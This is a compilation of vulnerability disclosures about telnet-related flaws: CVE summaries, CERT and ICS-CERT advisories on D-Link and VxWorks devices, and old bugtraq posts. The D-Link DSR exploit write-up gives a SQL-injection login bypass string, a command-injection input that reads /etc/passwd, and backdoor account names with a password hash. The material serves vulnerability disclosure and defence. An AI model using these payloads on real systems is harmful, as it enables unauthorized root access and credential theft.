The cdf_check_stream_offset function in cdf.c in file before 5.19, as used in the Fileinfo component in PHP before 5.4.30 and 5.5.x before 5.5.14, relies on incorrect sector-size data, which allows remote attackers to cause a denial of service (application crash) via a crafted stream offset in a CDF file.

CVE-2014-3479: PHP: PHP 5 ChangeLog

D-Link DSR-150 with firmware before 1.08B44; DSR-150N with firmware before 1.05B64; DSR-250 and DSR-250N with firmware before 1.08B44; and DSR-500, DSR-500N, DSR-1000, and DSR-1000N with firmware before 1.08B77 stores account passwords in cleartext, which allows local users to obtain sensitive information by reading the Users[#]["Password"] fields in /tmp/teamf1.cfg.ascii.

**Zine: D-Link DSR Router Series - Remote Command Execution**

    #
    # CVEs:                  
    #     CVE-2013-5945 - Authentication Bypass by SQL-Injection
    #     CVE-2013-5946 - Privilege Escalation by Arbitrary Command Execution
    # 
    # Vulnerable Routers:    
    #     D-Link DSR-150 (Firmware < v1.08B44)
    #     D-Link DSR-150N (Firmware < v1.05B64)
    #     D-Link DSR-250 and DSR-250N (Firmware < v1.08B44)
    #     D-Link DSR-500 and DSR-500N (Firmware < v1.08B77)
    #     D-Link DSR-1000 and DSR-1000N (Firmware < v1.08B77)
    #
    # Download URL:      
    #     http://tsd.dlink.com.tw
    # 
    # Arch:                  
    #     mips and armv6l, Linux
    # 
    # Author:                
    #     0_o -- null_null
    #     nu11.nu11 [at] yahoo.com
    #
    # Date:                  
    #     2013-08-18
    # 
    # Purpose:               
    #     Get a non-persistent root shell on your D-Link DSR. 
    # 
    # Prerequisites:         
    #     Network access to the router ports 443 and 23.
    #     !!! NO AUTHENTICATION CREDENTIALS REQUIRED !!!
    #
    #
    # A list of identified vulns follows. This list is not exhaustive as I assume
    # more vulns are present that just slipped my attention. 
    # The fact that D-Link implemented a backdoor user (for what reason, please??)
    # and just renamed it instead of completely removing it after it was targetted
    # by my previous exploit, as well as the triviality of those vulns I found 
    # makes me suggest that more vulns are present that are comparably easy to
    # exploit.
    #
    # Since 2013-12-03, patches are available for:
    #   DSR-150:                Firmware v1.08B44
    #   DSR-150N:               Firmware v1.05B64
    #   DSR-250 and DSR-250N:   Firmware v1.08B44
    #   DSR-500 and DSR-500N:   Firmware v1.08B77
    #   DSR-1000 and DSR-1000N: Firmware v1.08B77
    # via http://tsd.dlink.com.tw
    #
    # And now, have a worthwhile read :-)
    #
    
    
    0. Contents:
    
    
    1. Vulnerability: Authentication Bypass by SQL-Injection 
                      (CVE-2013-5945)
    2. Vulnerability: Privilege Escalation by Arbitrary Command Execution 
                      (CVE-2013-5946)
    3. Exposure:      D-Link backdoor user
    4. Vulnerability: Use of weak hash algorithms
    5. Exposure:      Passwords are stored as plain text in config files
    6. Vulnerability: Bad permissions on /etc/shadow
    
    
    
    1. Vulnerability: Authentication Bypass by SQL-Injection
                      (CVE-2013-5945)
    
    
    * Possible via the global webUI login form.
    
    * File /pfrm2.0/share/lua/5.1/teamf1lualib/login.lua contains:
    
      function login.authenticate(tablename, tableInput)
        local username = tableInput["Users.UserName"]
        local password = tableInput["Users.Password"]
        local cur = db.execute(string.format([[
                      SELECT *, ROWID AS _ROWID_ FROM %s
              WHERE %s = '%s' AND %s = '%s'
          ]], tablename, "UserName", username, "Password", password))
        local result = false
        local statusCode = "NONE"
        if cur then
          local row = cur:fetch({}, "a")
          cur:close()
          result = row ~= nil
          if result == false then
            statusCode = "USER_LOGIN_INVALID_PASSWORD"
          end
        end
        return result, statusCode
      end
    
    * This function creates an SQL statement of the form:
    
      SELECT * FROM "Users" WHERE "UserName" = 'user' AND "Password" = 'pass';
    
    * Since there is a default admin user account called "admin" around, this is 
      easily exploitable by providing this to the login form:
    
      username = admin
      password = ' or 'a'='a
    
    * ...resulting in this SQL statement:
    
      SELECT * 
        FROM "Users" 
        WHERE "UserName" = 'admin' 
          AND "Password" = '' or 'a'='a';
    
    * Old school SQL injection. Ohh, by the way...
    
    * The same fault can be found in captivePortal.lua 
      -- FREE NETWORKS FOR EVERYONE --
    
    
    
    2. Vulnerability: Privilege Escalation by Arbitrary Command Execution 
                      (CVE-2013-5946)
    
    
    * Possible from the Tools --> System Check page.
    
    * File /pfrm2.0/var/www/systemCheck.htm contains:
    
      local function runShellCmd(command)
          local pipe = io.popen(command .. " 2>&1") -- redirect stderr to stdout
          local cmdOutput = pipe:read("*a")
          pipe:close()
          return cmdOutput
      end
      if (ButtonType and ButtonType == "ping") then
      [...]
      local cmd_ping = pingprog .. " " .. ipToPing .. " " .. options1 .. " > " .. pingfile
            globalCmdOutput = runShellCmd (cmd_ping) 
            statusMessage = "Pinging " .. ipToPing
      [...]
      elseif (ButtonType and ButtonType == "traceroute") then
      [...]
        local cmd = traceRouteProg .. " " .. ipToTraceRoute .. options
        globalCmdOutput = runShellCmd(cmd)
        statusMessage = "Traceroute To " .. ipToTraceRoute .. "..."
      [...]
      elseif (ButtonType and ButtonType == "dnslookup") then
      [...]
        util.appendDebugOut("Exec = " .. os.execute(nsLookupProg .. " " .. internetNameToNsLookup .. " > " .. nsLookupFile))
        statusMessage = "DNS Lookup for " .. internetNameToNsLookup
      [...]
    
    * Command injection is possible in at least these form sections:
      
      Ping or Trace an IP Address
      Perform a DNS Lookup
      
    * When using a browser, deactivate the "onclick" JavaScript checks using 
      a tool like Firebug. Tools like curl are not hindered by these checks.
      
    * All forms allow input like this:
      
      localhost;<command>
      
      example: 
      
      localhost;cat /etc/passwd
      
    * This user provided value is then directly used as part of the input for the
      call to runShellCmd(c) and thus io.popen(c) in the first form section and 
      os.execute(c) in the second form section.
      
    * Output from user provided commands gets displayed on the next page beneath 
      the benign command output.
      
      example: 
      
      [...]
      <textarea rows="15" name="S1" cols="60" wrap="off" class="txtbox1">
        traceroute to localhost (127.0.0.1), 10 hops max, 40 byte packets
         1  localhost (127.0.0.1)  0.429 ms  0.255 ms  0.224 ms
        root:!:0:0:root:/root:/bin/sh
        gkJ9232xXyruTRmY:$1$MqlhcYXP$CC3cvqpCg0RJAzV85LSeO0:0:0:root:/:/bin/sh
        nobody:x:0:0:nobody:/nonexistent:/bin/false
        ZX4q9Q9JUpwTZuo7:x:0:2:Linux User,,,:/home/ZX4q9Q9JUpwTZuo7:/bin/sh
        guest:x:0:1001:Linux User,,,:/home/guest:/bin/sh
        admin:x:0:2:Linux User,,,:/home/admin:/bin/sh
      </textarea>
      [...]
      
      
      
    3. Exposure: D-Link backdoor user:
      
      
    * This was the contents of my /etc/passwd after I upgraded to 1.08B39_WW:
    
      root:!:0:0:root:/root:/bin/sh
      gkJ9232xXyruTRmY:$1$MqlhcYXP$CC3cvqpCg0RJAzV85LSeO0:0:0:root:/:/bin/sh
      nobody:x:0:0:nobody:/nonexistent:/bin/false
      ZX4q9Q9JUpwTZuo7:x:0:2:Linux User,,,:/home/ZX4q9Q9JUpwTZuo7:/bin/sh
      guest:x:0:1001:Linux User,,,:/home/guest:/bin/sh
      admin:x:0:2:Linux User,,,:/home/admin:/bin/sh
    
    * You can see the old D-Link backdoor user name "ZX4q9Q9JUpwTZuo7". 
      That was the account I hacked before with my previous exploit: 
      http://www.exploit-db.com/papers/22930/
      And there is a new backdoor user "gkJ9232xXyruTRmY" introduced. 
      Instead of removing the backdoor, D-Link just created a new one. 
      
    * I verified this by showing the /etc/profile:
      
      # /etc/profile
      LD_LIBRARY_PATH=.:/pfrm2.0/lib:/lib
      PATH=.:/pfrm2.0/bin:$PATH
      CLISH_PATH=/etc/clish
      export PATH LD_LIBRARY_PATH CLISH_PATH
      # redirect all users except root to CLI
      if [ "$USER" != "gkJ9232xXyruTRmY" ] ; then
      trap "/bin/login" SIGINT
      trap "" SIGTSTP
      /pfrm2.0/bin/cli
      exit
      fi
      PS1='DSR-250N> '
      
      
      
    4. Vulnerability: Use of weak hash algorithms:
    
    
    * In the /etc/shadow, salted DES hashes are used to store user passwords.
      Since this hash type supports at most 8 characters, users can log in by just 
      typing the first 8 letters of their passwords when using SSH or telnet.
      
    * An effective password length limitation of 8 characters makes brute force 
      attacks on user accounts very feasible, even if the user chose a longer 
      password.
    
    
    
    5. Exposure: Passwords are stored as plain text in config files:
    
    
    * A lookup into the system config file /tmp/teamf1.cfg.ascii, from which the 
      /tmp/system.db is built on boot time, reveals that all user passwords are 
      stored in plain text.
    
      Example:
    
      [...]  
      Users = {}
      Users[1] = {}
      Users[1]["Capabilities"] = ""
      Users[1]["DefaultUser"] = "1"
      Users[1]["UserId"] = "1"
      Users[1]["FirstName"] = "backdoor"
      Users[1]["OID"] = "0"
      Users[1]["GroupId"] = "1"
      Users[1]["UserName"] = "gkJ9232xXyruTRmY"
      Users[1]["Password"] = "thisobviouslyisafakepass"
      Users[1]["UserTimeOut"] = "10"
      Users[1]["_ROWID_"] = "1"
      Users[1]["LastName"] = "ssl"
      [...]
      
      
      
    6. Vulnerability: Bad permissions on /etc/shadow
    
    
    * This file should have 600 permissions set and not 644. It is world readable.
      Pointless, since every process runs as root, no user separation is 
      done anyway.
    
      DSR-250N> ls -l -a /etc/shadow
      -rw-r--r--    1 root     root           115 Sep 27 15:07 /etc/shadow
      DSR-250N> ps
        PID USER       VSZ STAT COMMAND
          1 root      2700 S    init
          2 root         0 SW<  [kthreadd]
          3 root         0 SW<  [ksoftirqd/0]
          4 root         0 SW<  [events/0]
          5 root         0 SW<  [khelper]
          8 root         0 SW<  [async/mgr]
        111 root         0 SW<  [kblockd/0]
        120 root         0 SW<  [khubd]
        123 root         0 SW<  [kseriod]
        128 root         0 SW<  [kslowd]
        129 root         0 SW<  [kslowd]
        150 root         0 SW   [pdflush]
        151 root         0 SW   [pdflush]
        152 root         0 SW<  [kswapd0]
        200 root         0 SW<  [aio/0]
        210 root         0 SW<  [nfsiod]
        220 root         0 SW<  [crypto/0]
        230 root         0 SW<  [cns3xxx_spi.0]
        781 root         0 SW<  [mtdblockd]
        860 root         0 SW<  [usbhid_resumer]
        874 root         0 SW<  [rpciod/0]
        903 root         0 SWN  [jffs2_gcd_mtd4]
        909 root         0 SWN  [jffs2_gcd_mtd5]
        918 root      3596 S    unionfs -s -o cow,nonempty,allow_other /rw_pfrm2.0=R
        999 root      1816 S <  /pfrm2.0/udev/sbin/udevd --daemon
       1002 root      2988 S    /pfrm2.0/bin/platformd /tmp/system.db
       1003 root      3120 S    /pfrm2.0/bin/evtDsptchd /tmp/system.db
       1049 root      2704 S    /usr/sbin/telnetd -l /bin/login
       1097 root      4560 S    /pfrm2.0/bin/wlanClientArlFlushd
       1141 root     37000 S    /pfrm2.0/bin/sshd
       1154 root      3068 S    /pfrm2.0/bin/linkStatusDetect /tmp/system.db WAN1 5
       1255 root      3148 S    /pfrm2.0/bin/nimfd /tmp/system.db
       1259 root      3068 S    /pfrm2.0/bin/linkStatusDetect /tmp/system.db WAN2 5
       1375 root      3588 S    /pfrm2.0/bin/firewalld /tmp/system.db
       1560 root         0 SW<  [key_timehandler]
       1598 root      7776 S    /pfrm2.0/bin/racoon -a 8787 -f /var/racoon_path.conf
       1600 root      8036 S    rvgd /tmp/system.db
       1612 root         0 SW   [cavium]
       1621 root      8424 S    vpnKAd /tmp/system.db
       1685 root      5372 S    /pfrm2.0/sslvpn/bin/firebase -d
       1702 root      5016 S    /pfrm2.0/sslvpn/bin/smm -d
       1711 root      6052 S    /pfrm2.0/sslvpn/bin/httpd
       1712 root      2700 S    /bin/sh /var/sslvpn/var/httpdKeepAlive.sh
       1771 root      2680 S    /pfrm2.0/bin/statusD
       1933 root      3092 S    /pfrm2.0/bin/loggingd /tmp/system.db
       1960 root      5284 S    /pfrm2.0/bin/radEap -d /tmp/system.db
       1962 root      2988 S    /pfrm2.0/bin/rebootd /tmp/system.db
       2004 root      2988 S    /pfrm2.0/bin/crond /tmp/system.db
       2008 root      3260 S    /pfrm2.0/bin/ntpd /tmp/system.db
       2196 root      3128 S    /pfrm2.0/bin/intelAmtd /tmp/system.db
       2205 root      1904 S    /pfrm2.0/bin/fReset
       2311 root      2704 S    /bin/sh /pfrm2.0/bin/release_cache.sh
       2312 root      2704 S    /sbin/getty -L ttyS0 115200 vt100
       2463 root      3964 S    /pfrm2.0/bin/dhcpd -cf /etc/dhcpd.conf.bdg30 -lf /va
       2481 root      3964 S    /pfrm2.0/bin/dhcpd -cf /etc/dhcpd.conf.bdg50 -lf /va
       3355 root      1768 S    /pfrm2.0/bin/rt2860apd
       3443 root      4116 S    /pfrm2.0/bin/dhcpd -cf /etc/dhcpd.conf.bdg40 -lf /va
       3451 root      4116 S    /pfrm2.0/bin/dhcpd -cf /etc/dhcpd.conf.bdg20 -lf /va
       3457 root      3964 S    /pfrm2.0/bin/dhcpd -cf /etc/dhcpd.conf.bdg1 -lf /var
       3484 root      7836 S    /pfrm2.0/bin/snmpd -p /var/run/snmp.pid
       3518 root      4424 S    /pfrm2.0/bin/openvpn --config /var/openvpn/openvpn.c
       3630 root      1928 S    /pfrm2.0/bin/dnsmasq --dns-forward-max=10000 --addn-
       5353 root      2704 S    -sh
       7877 root      2568 S    sleep 60
       7953 root      2568 S    sleep 60
       8008 root      2704 R    ps
      16749 root      2704 S    -sh
      25690 root         0 SW<  [RtmpCmdQTask]
      25692 root         0 SW<  [RtmpWscTask]
      DSR-250N>

CVE-2013-7005: Offensive Security’s Exploit Database Archive

The restricted telnet shell on the D-Link DSL2730U router allows remote authenticated users to bypass intended command restrictions via shell metacharacters that follow a whitelisted command.

**D-Link DSL2730U router restricted telnet shell command whitelisting bypass**

**Vulnerability Note VU#876780**

Original Release Date: 2012-12-12 | Last Revised: 2012-12-12

**Overview**

D-Link DSL2730U routers contain a restricted telnet shell with limited allowed commands. An authenticated attacker can chain unauthorized commands through authorized commands in order to bypass the command whitelisting.

**Description**

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'):

D-Link DSL2730U routers contain a restricted telnet shell with limited allowed commands. Commands entered in the restricted telnet shell are executed by passing them as command parameters of execution "sh -c", for example, "echo | ls" will result in passing a whitelisted command (echo) and executing "sh -c echo | ls" on the underlying Linux environment. The STDOUT output of the command execution is returned to the telnet terminal. An authenticated attacker can chain unauthorized commands through authorized commands in order to bypass the command whitelisting.

**Impact**

An authenticated attacker can chain unauthorized commands through authorized commands in order to bypass the command whitelisting.

**Solution**

We are currently unaware of a practical solution to this problem.

**Restrict Access**

As a general good security practice, only allow connections from trusted hosts and networks. Restricting access would prevent an attacker from accessing an telnet interface using the affected credentials from a blocked network location.

**Vendor Information**

Filter by content: Additional information available

 Sort by:

  
**CVSS Metrics**

Group

Score

Vector

Base

6.8

AV:N/AC:L/Au:S/C:C/I:N/A:N

Temporal

5.2

E:POC/RL:W/RC:UC

Environmental

1.4

CDP:L/TD:L/CR:ND/IR:ND/AR:ND

  
**References****Acknowledgements**

Thanks to Nikolay Dachev for reporting this vulnerability.

This document was written by Michael Orlando.

**Other Information**

**CVE IDs:**

CVE-2012-5966

**Date Public:**

2012-12-12

**Date First Published:**

2012-12-12

**Date Last Updated:**

2012-12-12 12:27 UTC

**Document Revision:**

7

CVE-2012-5966: CERT/CC Vulnerability Note VU#876780

Overview
A security researcher has identified two vulnerabilities affecting the Wind River Systems’ VxWorks platform. The vulnerabilities are a debug service enabled by default (VU#362332) and a weak hashing algorithm used in authentication (VU#840249). ICS-CERT has been coordinating with CERT/CC in alerting control systems vendors of these vulnerabilities. ICS-CERT will continue to coordinate and publish updates as needed.
Affected Products
VxWorks is a real-time operating system that can be used in embedded systems, including control system components. Because this vulnerability is embedded in other products, the actual list of affected products is large, and not completely known
Not all products using VxWorks are vulnerable. ICS-CERT recommends that end users contact their vendors to determine if their products are affected by these vulnerabilities. CERT/CC has a partial list of vendors in the Vulnerability Notes referenced above.
Impact
Access to the debug service could result in information disclosure or denial-of-service attacks against the affected device. Complete control of the device may be possible.
The authentication vulnerability could allow an attacker to guess the password and gain unauthorized access to the device.
Impact to individual organizations depends on many factors that are unique to each organization. ICS-CERT recommends that organizations evaluate the impact of these vulnerabilities based on their environment, architecture, and product implementation.
Background
VxWorks is a trademark of Wind River Systems. VxWorks has been used in more than 500 million deployed devices,http://www.windriver.com/products/vxworks, website last accessed July 29, 2010. ranging from aerospace and defense applications to networking and consumer electronics, robotics and industrial applications, precision medical instruments, and car navigation and telematics systems.http://www.windriver.com/products/product-overviews/PO_VE_3_8_Platform_1209.pdf
Vulnerability Characterization
Vulnerability Overview
The following two vulnerabilities have been identified:
Debug Service Enabled by Default – Some products based on VxWorks ship with the debug service enabled on UDP port 17185. This service provides read and write access to the device’s memory and allows functions to be called. An attacker could use this service to fully compromise the device.
The overall Common Vulnerability Scoring System (CVSS) severity scorehttp://nvd.nist.gov/cvss.cfm?calculator&version=2 for this vulnerability is 8.6 (high). The following link provides a calculator for viewing details of the score: http://nvd.nist.gov/cvss.cfm?version=2&vector=(AV:N/AC:L/Au:N/C:C/I:C/A:C/E:POC/RL:W/RC:C)
Weak Hashing Algorithm – The standard VxWorks authentication API uses a weak password hashing algorithm. This algorithm produces a small set of outputs for a large set of inputs, resulting in multiple strings having the same hash, otherwise known as collisions. An attacker could brute force the password in a relatively short period of time by guessing a string that produces the same hash as the legitimate password.
The overall CVSS severity score for this vulnerability is 7.7 (high). The following link provides a calculator for viewing details of the score: http://nvd.nist.gov/cvss.cfm?version=2&vector=(AV:N/AC:L/Au:S/C:C/I:C/A:C/E:POC/RL:W/RC:C)
Vulnerability Details
Exploitability
The enabled debug service allows full access to the memory of the device to an unauthenticated remote user. A memory dump would likely reveal passwords and configuration information. An attacker could use write access to perform denial-of-service attacks, and if familiar with the device, could gain complete control.
Exploiting the vulnerability in the authentication API would require the following:
The default API must be the authentication method used
The attacker would first need a valid username
The attacker would need access to a service using the API such as rlogin, Telnet or FTP
Existence of Exploit
Proof-of-concept code is expected to be made public by the researcher. However, at the time of this writing, no known exploits exist in the field specifically targeting these vulnerabilities.
Difficulty
Accessing the debug service would be trivial unless blocked by a firewall. An attacker may need to be familiar with the device to control it by writing to memory; however, a memory dump would not be difficult.
Brute forcing a password is not difficult, and software tools exist to automate the process. Exploiting the authentication API vulnerability is made easier by the fact that no account lockout is implemented by default. Users are not disconnected for too many incorrect login attempts.
Mitigation
The mitigations differ for vendors utilizing VxWorks in their products, and the end-users of these products.
Vendors Using VxWorks
Vendors using VxWorks in their products should disable the debug agent for production systems. The VxWorks Kernel Programmer’s 6.8 Guide recommends that only those components needed for deployed operation be enabled. Components required for host development support such as the debug agent and debugging components should be removed.
Vendors should not use the standard default authentication API (loginDefaultEncrypt()) in their VxWorks products. Other encryption routines can be implemented by using the loginEncryptInstall() routine in the VxWorks loginLib library. Contact Wind River Supporthttp://www.windriver.com/support/ or refer to Vulnerability Note VU#840249Vulnerability Note, http://www.kb.cert.org/vuls/id/840249. for instructions. A trusted authentication API should be chosen to replace the standard default.
Users of Products with Embedded VxWorks
End users should restrict access to debug port 17185/udp with appropriate firewall rules. It is good security practice to block all ports not explicitly needed for operation. This is referred to as a “default deny” policy.
Users should restrict access to any service that uses the standard default authentication (e.g., rlogin, Telnet, FTP) with appropriate firewall rules. If possible, such services should be disabled if not needed. Intrusion detection/prevention systems can be used to detect brute force attacks (password guessing) against such services.
The Control System Security Program also provides a recommended practices section or control systems on the US-CERT website. Several recommended practices are available for reading or download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.
Organizations should follow their established internal procedures if any suspected malicious activity is observed and report their findings to ICS-CERT for tracking and correlation against other incidents. ICS-CERT reminds organizations that proper impact analysis and risk assessment should be performed prior to taking defensive measures.

Wind River VxWorks Vulnerabilities

login in Slackware 7.0 allows remote attackers to identify valid users on the system by reporting an encryption error when an account is locked or does not exist.

**\[prev in list\] \[next in list\] \[prev in thread\] \[next in thread\]** 
**List:       bugtraq
Subject:    Slackware 7.0 - login bug
From:       Stewart Gebbie <stewart () global ! co ! za>
Date:       1999-12-02 15:30:46
\[Download RAW message or body\]**

Hi,

Below I describe a bug in Slackware 7.0. I did notify
support@slackware.com about a week ago and thought that
it was about time to send the bug report to bugtraq.

This is regarding a logic but in the shadow suite that enables
a brute force attack for finding and cracking login in accounts
via telnet (and possibly some other nasty side affects).

The bug comes about as a result of the interplay between
using md5\_crypt and disabling the traditional crypt.

The bug occurs when either an account is locked or the account
does not exits. In either case the result is that login.c
makes a call to pw\_auth() in pwauth.c with the password set to
"!". This in turn calls \_old\_auth() in pwauth.c. This finally
calls pw\_encrypt() in encrypt.c. Now because the password is set
to "!" (and not "$1$") the md5\_crypt function is not called.
Instead the tradition crypt() is called. This has, as far as I
can see, been disabled in the Slack 7.0 distribution and always
returns NULL and sets errno=95. This causes pw\_encrypt() to
print out \`crypt: Operation not supported' and immediatly call
exit(1). Hence, from logging in one can see that the user name
does not exist or is locked, further more the exit is immediate
with no sleep before prompting again.

I did not confirm that crypt() was disabled in the glibc source
(simply because it meant downloading all of the glibc source).
But the test program I wrote did seem to confirm this.

Thanks
Stewart

**\[prev in list\] \[next in list\] \[prev in thread\] \[next in thread\]** 

  

Configure | About | News | Add a list | Sponsored by KoreLogic

CVE-1999-0856: 'Slackware 7.0 - login bug'

Denial of service in Cisco routers running NAT via a PORT command from an FTP client to a Telnet port.

CVE-1999-0843: IBM X-Force Exchange

Lynx WWW client allows a remote attacker to specify command-line parameters which Lynx uses when calling external programs to handle certain protocols, e.g. telnet.

CVE-1999-0817: IBM X-Force Exchange

Buffer overflow in Solaris libc, ufsrestore, and rcp via LC_MESSAGES environmental variable.

**\[prev in list\] \[next in list\] \[prev in thread\] \[next in thread\]** 
**List:       bugtraq
Subject:    Re: Linux NLSPATH buffer overflow
From:       Alan Cox <alan () LXORGUK ! UKUU ! ORG ! UK>
Date:       1997-02-14 20:51:02
\[Download RAW message or body\]**

> I'm sorry if the information I'm going to tell about was already known, but
> I hope it wasn't...

Its known, its fixed in current setups

> It might be possible to exploit this hole remotely, if using a patched telnet
> client which would allow exporting large environment variable values. The
> overflow would happen at /bin/login startup then (somewhat like the famous
> LD\_PRELOAD exploit, but an overflow). I'm not sure of that though, there might
> be some restrictions on environment variables in telnetd.

Netkit 0.08/9 telnetd do not pass any environment variables,

> As for the fix, well, this is a hard one -- would require re-compiling libc,
> and statically linked binaries. To protect yourself against remote attacks,
> you could for example change the variable name to something different, with
> a hex editor (like /usr/bin/bpe), in /lib/libc.so.5, and ensure the exploit
> stopped working. Of course, this is only a temporary fix.

libc5.4 is immune, RedHat has been shipping the fixed libc5.3.12 for a long
time, and all the vendors I had security contacts for where told ages ago.
If they haven't fixed it then Im disappointed with them, they dont have
an excuse. That libc5.3.12 unpatched also has other fun bugs with buffer
overruns in libc some in the BSD stuff akin to the BSD bugs in rcmd() etc.

Alan

**\[prev in list\] \[next in list\] \[prev in thread\] \[next in thread\]** 

  

Configure | About | News | Add a list | Sponsored by KoreLogic

CVE-1999-0767: 'Re: Linux NLSPATH buffer overflow'

Denial of service through Solaris 2.5.1 telnet by sending ^D characters.

Tag

#telnet